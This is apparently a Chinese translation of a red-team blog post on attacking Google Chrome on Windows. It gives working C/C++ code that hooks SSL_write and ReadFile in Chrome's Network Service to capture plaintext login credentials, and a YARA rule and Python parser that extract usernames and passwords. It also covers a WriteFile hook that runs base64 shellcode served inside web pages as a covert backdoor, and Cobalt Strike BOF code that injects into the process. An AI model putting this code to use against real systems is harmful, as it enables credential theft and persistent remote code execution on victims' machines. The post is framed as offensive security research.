Web浏览器本身就受用户信任。他们被告知可以信任“在地址栏中具有门锁和正确名称”的网站。这种信任关系能让用户放心地把敏感数据输入这些网站。从攻击者的角度来看,一旦攻击用户工作站,就会有一个进程(几乎没有保护)处理相对大量的敏感数据,同时,这个进程又被用户大量使用。浏览器扩展程序中的密码管理器,这会成为红队重要的目标。所以,我决定滥用这个信任关系!
概述
我决定攻击Google浏览器,原因很简单,因为它的台式机浏览器份额占市场的70%,是迄今为止最受欢迎的浏览器,所以是显而易见的目标。
和大多数浏览器一样,Google浏览器用的是多进程架构(如下所示):
这样做的原因是出于安全性和可用性的考虑,它能让浏览器的特定部分(例如渲染器)进行沙盒处理,同时,浏览器的其他部分可以在不受沙箱限制的情况下运行。Google浏览器分为7个不同的部分,其中最重要的部分是网络服务,存储服务和渲染器。网络服务按其提示运行……处理与Internet的通信,所以,它能确保我们所需的敏感数据。
过时的数据窃取方式
攻击Windows上运行的Google浏览器,但要考虑到Windows有自己的套接字库Winsock。所以,Google浏览器很可能会用Winsock进行网络通信。Google浏览器的大多数代码都存储在chrome.dll,把它加载到IDA中并查看xrefs的WSASend,就可以证实我的假设。
唯一的问题是,在禁用SSL的情况下,即使用户连接到站点,WSASend只包含纯文本数据,它也不是我们要窃取数据的站点。那么我们如何才能获得相同的数据,就像在加密之前的纯文本一样?先看下SSL加密函数。
在开发浏览器时,Google认为OpenSSL不够好,所以他们自己开发了一个名为 BoringSSL的分支。他们保留了原始核心函数的名称,也就是说, SSL_write在OpenSSL和BoringSSL执行相同的操作。作为buf参数,它指向一些纯文本数据的指针,并将其写入ssl参数所指向的SSL流。该函数的源代码如下所示:
在Google浏览器搜索xrefs,找到 chrome.dll 的SSL_write 字符串,就可以证实其用法:
我在偏移量0x0000000182ED03E0找到了函数,并重命名了一些变量和函数名称,所以很明显,它就是SSL_write函数:
现在我们有了偏移量后,可以放置一个挂钩,从合法的SSL_write 重定向到我们的 SSL_write 函数。
我写了一些代码(https://github.com/bats3c/ChromeTools/blob/main/sslsteal/dllmain.cpp)来搜索以下模式:
41 56 56 57 55 53 48 83 EC 40 45 89 C6 48 89 D7 48 89 CB 48 8B 05 EE 3E DC 05 48 31 E0 48 89 44
用以下函数替换它,该函数仅显示一个带有请求数据的文本框。
int SSL_write(void* ssl, void* buf, int num) {
MessageBoxA(NULL, (char*)buf, "SSL_write", 0);
return Clean_SSLWrite(ssl, buf, num);
把DLL注入到网络服务,登录Outlook帐户。正如我所料,会出现两个弹框,一个包含请求头文件,另一个包含POST正文:
为了确保这一点,我尝试登录到其他网站,都会出现弹框,但我登录Google服务时,没有出现弹框。除了Google服务,其他的所有请求我都能捕获到。经过研究,我发现了 QUIC 协议。Google认为TCP不足以支持HTTP,把浏览器改为使用UDP。
Google浏览器支持多种不同的协议,所以我必须找到一种更通用的解决方案来实现自己的目标。
如何在多协议的情况下窃取数据
重复上述过程,找到每个协议的关键函数的偏移量,然后放置挂钩。但这比较繁琐。所以,我决定找一个更简洁的方式。
Google浏览器用的多进程结构让我意识到渲染器进程必须用一种方法把请求传达给网络服务,接收响应。@NedWilliamson 的演讲(https://www.youtube.com/watch?v=39yPeiY808w)有说到关于浏览器如何用IPC在进程间进行通信。无论是什么样的协议,我都可以通过两个进程间的IPC函数窃取正在发送和接收的数据。
Google浏览器会在执行IPC期间用不同的管道,调用控制管道\\.\pipe\chromeipc,其他管道则用于传输数据,例如请求,响应,Cookie,保存的凭据等。我发现了一个叫chromium-ipc-sniffer的工具(https://github.com/tomer8007/chromium-ipc-sniffer),可以用Wireshark检测Google浏览器的控制管道发送的数据。
启动后,它会发送许多不相关的数据,所以我使以下代码把它过滤为仅包含我想查看的通信:
npfs.process_type contains "Network Service" && npfs.process_type contains "Broker"
在执行IPC时,Google浏览器用 Mojo(https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md),它是一种数据格式,能让Google浏览器传递数据,快速调用内部函数。如下面的图像所示,代理在网络服务中调用 URLLoaderFactory.CreateLoaderAndStart Mojo方法,并为它提供HTTP请求的关键信息,如方法,域和标头:
渲染器直接用broker作为这些请求的代理,而不是将请求直接传达给网络服务。
确定请求数据会通过IPC传输后,就可以开始窃取此数据了!实际上,这样做很容易,因为你只需挂接单个Windows API调用即可获取任何请求的内容,这和发送的协议无关。以下是Google浏览器内部代码的示例:
DWORD dwRead;
LPVOID lpBuffer = NULL;
HANDLE hPipe = CreateFile(L"\\\\.\\pipe\\chromeipc",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
while (hPipe != INVALID_HANDLE_VALUE)
{
while (ReadFile(hPipe, lpBuffer, sizeof(lpBuffer), &dwRead, NULL) != FALSE)
{
HandleMojoData(lpBuffer);
}
CloseHandle(hPipe);
}
字节模式可能会因版本的不同而不同,用它来查找HandleMojoData,还不如定位ReadFile其地址就在在PEB里,可以通过调用GetProcAddress访问。我会把一下函数重定向到合法的ReadFile函数:
BOOL Hooked_ReadFile( HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
)
{
// so we can verify if the function is hooked or not
if (hFile == (HANDLE)READFILE_HOOKED && lpBuffer == NULL)
{
return TRUE;
}
WriteBufferToLog(lpBuffer, nNumberOfBytesToRead);
return Clean_ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);
}
该函数会把从命名管道写入到磁盘文件的数据记录下来,然后调用原始ReadFile函数。代码链接为https://github.com/bats3c/ChromeTools/blob/main/chrometap/wiretap/dllmain.cpp。
由于Google浏览器的代码库比较庞大,HTTP请求数据不是唯一通过这些管道传递的值数据,所以要记录所有东西,方便后续进行解析。
注入挂钩DLL,再次登录Outlook,同时检索目标行命令,就能找到用来登录的凭据:
尝试用QUIC协议登录 https://account.google.com/,如下面截图所示,现在可以窃取纯文本凭据:
现在唯一的要做的就是是解析该文件,提取尽可能多的密码。
YARA
编写一个实用程序来解析这个转储文件。它能在多个不同的请求类型之间进行匹配和区分,然后检索请求内部机密的方式,解析此类请求。结合YARA规则和基于插件系统的python,我编写了hunt.py。
使用hunt.py的语法非常简单:
./hunt.py <dumpfile>
然后它将搜索转储文件,找到密码,如下所示:
实际上,编写规则和插件非常容易。首先,查看请求并挑选出可用于标识YARA规则请求的字符串:
然后,用这些字符串可以编写如下的YARA规则。规则应存储在rules/目录中:
rule outlook_creds {
meta:
author = "@_batsec_"
plugin = "outlook_parse"
strings:
$str1 = "login.live.com"
$str2 = "login="
$str3 = "hisScaleUnit="
$str4 = "passwd="
condition:
all of them
}
当hunt.py找到一个正则匹配时,在规则里,它用plugin 变量的值作为上述插件的名称来加载并解析该请求。
plugin只是plugins.py文件中的一个函数 。它会以字节对象的形式收到原始请求,然后返回包含它所找到的名称和密码的目录,例如 {'site': 'login.live.com', 'username': 'asdf%40asdf.com', 'password': 'ThisIsMyVerySecurePassword123%21'}。
解析Outlook请求的插件如下所示:
def outlook_parse(request):
creds = {}
creds['site'] = 'login.live.com'
login = re.search(rb'login=(.*)&', request).group(1).decode()
login = login[:login.index('&')]
creds['username'] = login
passwd = re.search(rb'passwd=(.*)&', request).group(1).decode()
passwd = passwd[:passwd.index('&')]
creds['password'] = passwd
return creds
接下来,一起观看个视频:
Google浏览器,Google的implant stager?
下面,我们试着把Google浏览器当作隐蔽的持久性的方法。
我们需要找到一种方法来查看Web请求的响应,但如果把挂钩钩在网络服务的ReadFile上,查看Web请求 ,那么可不可以把挂钩钩在WriteFile,把这些请求的响应回写到管道上?
我修改了前面的代码,转储WriteFile的内容。把它注入网络服务,分析转储文件,原本以为会看到大量HTML / CSS / JavaScript文件,但没有:
我花了一些时间调查共享内存(Google浏览器IPC使用的另一种方法),但仍然找不到响应内容。
查看请求标头的时候,我注意到了编码头,那一切就说得通了:
我以为网络服务会处理所有内容,把响应传递给渲染器进行渲染,但是从转储文件压缩内容的数量来看,渲染过程似乎也可以处理解压:
提取和解压内容后,我们发现它实际上是我一直在找的Web内容。
把钩子放置在WriteFile 上,解压lpBuffer的数据,这样就能获得Web纯文本内容。
然后,利用gzip解压库(https://github.com/jibsen/tinf),我可以编写一个替换函数WriteFile,该函数能对数据进行解压,给<shellcode></shellcode> HTML标记之间的任何数据都会被ExecuteShellcode函数执行。
#define SHCPATTERN1 "<shellcode>"
#define SHCPATTERN2 "</shellcode>"
BOOL Hooked_WriteFile(HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped)
{
int res;
DWORD i;
char *start, *end;
char *target = NULL;
unsigned char *dest = NULL;
unsigned char *source = NULL;
unsigned int len, dlen, outlen;
DWORD_PTR dwBuf = (DWORD_PTR)lpBuffer;
if (hFile == (HANDLE)WRITEFILE_HOOKED && lpBuffer == NULL)
{
return TRUE;
}
if (lpBuffer != NULL && nNumberOfBytesToWrite >= 18)
{
tinf_init();
auto ucharptr = static_cast<const unsigned char*>(lpBuffer);
source = const_cast<unsigned char*>(ucharptr);
dlen = read_le32(&source[nNumberOfBytesToWrite - 4]);
dest = (unsigned char *) malloc(dlen ? dlen : 1);
if (dest == NULL)
{
goto APICALL;
}
outlen = dlen;
res = tinf_gzip_uncompress(dest, &outlen, source, nNumberOfBytesToWrite);
if ((res != TINF_OK) || (outlen != dlen))
{
free(dest);
goto APICALL;
}
for (i = 0; i < outlen; i++)
{
if (!memcmp((PVOID)(dest + i), (unsigned char*)SHCPATTERN1, strlen(SHCPATTERN1)))
{
if ( start = strstr( (char*)dest, SHCPATTERN1 ) )
{
start += strlen( SHCPATTERN1 );
if ( end = strstr( start, SHCPATTERN2 ) )
{
target = ( char * )malloc( end - start + 1 );
memcpy( target, start, end - start );
target[end - start] = '\0';
ExecuteShellcode(target);
}
}
}
}
free(dest);
free(target);
goto APICALL;
}
goto APICALL;
APICALL:
return Clean_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
}
ExecuteShellcode只是用Windows API 来Base64解码shellcode,然后执行它。
BOOL ExecuteShellcode(char* shellcode)
{
DWORD dwOutLen;
int shellcode_len = strlen(shellcode);
FUNC_CryptStringToBinaryA CryptStringToBinaryA = (FUNC_CryptStringToBinaryA)GetProcAddress(
LoadLibraryA("crypt32.dll"),
"CryptStringToBinaryA");
CryptStringToBinaryA(
(LPCSTR)shellcode,
(DWORD)shellcode_len,
CRYPT_STRING_BASE64,
NULL,
&dwOutLen,
NULL,
NULL
);
BYTE* pbBinary = (BYTE*)malloc(dwOutLen + 1);
CryptStringToBinaryA(
(LPCSTR)shellcode,
(DWORD)shellcode_len,
CRYPT_STRING_BASE64,
pbBinary,
&dwOutLen,
NULL,
NULL
);
void* module = VirtualAlloc(0, dwOutLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(module, pbBinary, dwOutLen);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)module, NULL, 0, 0);
return TRUE;
}
我们已经有了一个DLL,注入DLL后,它会让Google浏览器执行带有<shellcode></shellcode> 标签的所有shellcode,测试一下:
如果你用后门浏览器访问我的博客主页(https://blog.dylan.codes/),shellcode就会运行:
用一种隐蔽的方式来保持对类似的网站的访问权,这需要让用户访问一个包含纯文本shellcode标记的Web资源,无论是链接,图像,iframe等。
重启后,可以用任何常规的持久性技术重新插入该挂钩。
部署
这些工具的DLL形式还是很有用的,但在识别Google浏览器的网络服务,注入DLL时,这些工具就没有那么实用了。因为我要以某种方式识别Chrome的网络服务,然后注入所说的DLL。所以,我决定用sRDI(https://github.com/monoxgas/sRDI)和Cobalt Strikes的BOF(https://cobaltstrike.com/help-beacon-object-files)来部署它们。
我编写了BOF,进行直接系统调用,感谢@Cneelis 提供的InlineWhispers(https://github.com/outflanknl/InlineWhispers)。
首先,找到Google浏览器的网络服务。它以映像名称chrome.exe运行, 所以我用NtQuerySystemInformation系统调用和SystemProcessInformation参数,获取指向SYSTEM_PROCESSES 结构的指针,该结构包含当前计算机上运行的所有进程信息。
typedef struct _SYSTEM_PROCESSES {
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
然后使用NextEntryDelta迭代进程,直到ProcessName.Buffer变成chrome.exe。
DWORD GetChromeNetworkProc()
{
NTSTATUS dwStatus;
ULONG ulRetLen = 0;
LPVOID lpBuffer = NULL;
DWORD dwPid, dwProcPid = 0;
if (NtQuerySystemInformation(SystemProcessInformation, 0, 0, &ulRetLen) != STATUS_INFO_LENGTH_MISMATCH)
{
goto Cleanup;
}
lpBuffer = MSVCRT$malloc(ulRetLen);
if (lpBuffer == NULL)
{
goto Cleanup;
}
if (!NtQuerySystemInformation(SystemProcessInformation, lpBuffer, ulRetLen, &ulRetLen) == STATUS_SUCCESS)
{
goto Cleanup;
}
PSYSTEM_PROCESSES lpProcInfo = (PSYSTEM_PROCESSES)lpBuffer;
do
{
dwPid = 0;
lpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)lpProcInfo) + lpProcInfo->NextEntryDelta);
dwProcPid = *((DWORD*)&lpProcInfo->ProcessId);
if (MSVCRT$wcscmp(lpProcInfo->ProcessName.Buffer, L"chrome.exe") == 0)
{
if (IsNetworkProc(dwProcPid))
{
dwPid = dwProcPid;
goto Cleanup;
}
}
if (lpProcInfo->NextEntryDelta == 0)
{
goto Cleanup;
}
} while (lpProcInfo);
Cleanup:
return dwPid;
}
一旦找到一个叫chrome.exe的进程,其进程ID会传递给IsNetworkProc 函数,判断它是不是网络服务。用NtQueryInformationProcess系统调用来获取远程进程中的进程环境块(PEB)的地址,然后遍历PEB,找到启动进程的命令行参数。如果在启动chrome.exe进程时使用flag --utility-sub-type=network.mojom.NetworkService,那么该进程会成为网络服务。
BOOL IsNetworkProc(DWORD dwPid)
{
PPEB pPeb;
SIZE_T stRead;
HANDLE hProcess;
NTSTATUS dwStatus;
BOOL bStatus = FALSE;
PWSTR lpwBufferLocal;
PROCESS_BASIC_INFORMATION BasicInfo;
MSVCRT$memset(&BasicInfo, '\0', sizeof(BasicInfo));
if ((hProcess = OpenProcessHandle(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, dwPid)) == INVALID_HANDLE_VALUE)
{
bStatus = FALSE;
goto Cleanup;
}
if ((dwStatus = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), NULL)) != STATUS_SUCCESS)
{
bStatus = FALSE;
goto Cleanup;
}
LPVOID lpPebBuf = MSVCRT$malloc(sizeof(PEB));
if (lpPebBuf == NULL)
{
bStatus = FALSE;
goto Cleanup;
}
if (NtReadVirtualMemory(hProcess, BasicInfo.PebBaseAddress, lpPebBuf, sizeof(PEB), &stRead) != STATUS_SUCCESS)
{
bStatus = FALSE;
goto Cleanup;
}
PPEB pPebLocal = (PPEB)lpPebBuf;
PRTL_USER_PROCESS_PARAMETERS pRtlProcParam = pPebLocal->ProcessParameters;
PRTL_USER_PROCESS_PARAMETERS pRtlProcParamCopy = (PRTL_USER_PROCESS_PARAMETERS)MSVCRT$malloc(sizeof(RTL_USER_PROCESS_PARAMETERS));
if (pRtlProcParamCopy == NULL)
{
bStatus = FALSE;
goto Cleanup;
}
if (NtReadVirtualMemory(hProcess, pRtlProcParam, pRtlProcParamCopy, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL) != STATUS_SUCCESS)
{
bStatus = FALSE;
goto Cleanup;
}
USHORT len = pRtlProcParamCopy->CommandLine.Length;
PWSTR lpwBuffer = pRtlProcParamCopy->CommandLine.Buffer;
if ((lpwBufferLocal = (PWSTR)MSVCRT$malloc(len)) == NULL)
{
bStatus = FALSE;
goto Cleanup;
}
if (NtReadVirtualMemory(hProcess, lpwBuffer, lpwBufferLocal, len, NULL) != STATUS_SUCCESS)
{
bStatus = FALSE;
goto Cleanup;
}
if (MSVCRT$wcsstr(lpwBufferLocal, L"--utility-sub-type=network.mojom.NetworkService") != NULL)
{
bStatus = TRUE;
}
goto Cleanup;
Cleanup:
if (hProcess) { KERNEL32$CloseHandle(hProcess); }
return bStatus;
}
一旦找到网络进程,它会用下面的代码注入DLL,由于使用sRDI技术,该DLL与shellcode无关。
BOOL InjectShellcode(DWORD dwChromePid, DWORD dwShcLen, LPVOID lpShcBuf)
{
ULONG ulPerms;
LPVOID lpBuffer = NULL;
HANDLE hProcess, hThread;
SIZE_T stSize = (SIZE_T)dwShcLen;
if ((hProcess = OpenProcessHandle(PROCESS_ALL_ACCESS, dwChromePid)) == INVALID_HANDLE_VALUE)
{
return FALSE;
}
NtAllocateVirtualMemory(hProcess, &lpBuffer, 0, &stSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
if (lpBuffer == NULL)
{
return FALSE;
}
if (NtWriteVirtualMemory(hProcess, lpBuffer, lpShcBuf, dwShcLen, NULL) != STATUS_SUCCESS)
{
return FALSE;
}
if (NtProtectVirtualMemory(hProcess, &lpBuffer, &stSize, PAGE_EXECUTE_READ, &ulPerms) != STATUS_SUCCESS)
{
return FALSE;
}
NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, FALSE, 0, 0, 0, NULL);
if (hThread == INVALID_HANDLE_VALUE)
{
return FALSE;
}
return TRUE;
}
EOF
希望这篇文章对你有所帮助。我原本打算详细讲一下如何把任意JavaScript注入到网页中,可惜我时间有限,还有其他事情要做。上面讲到的技术是可以一起使用的。
本文作者是Dylan(@_batsec_)。
木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。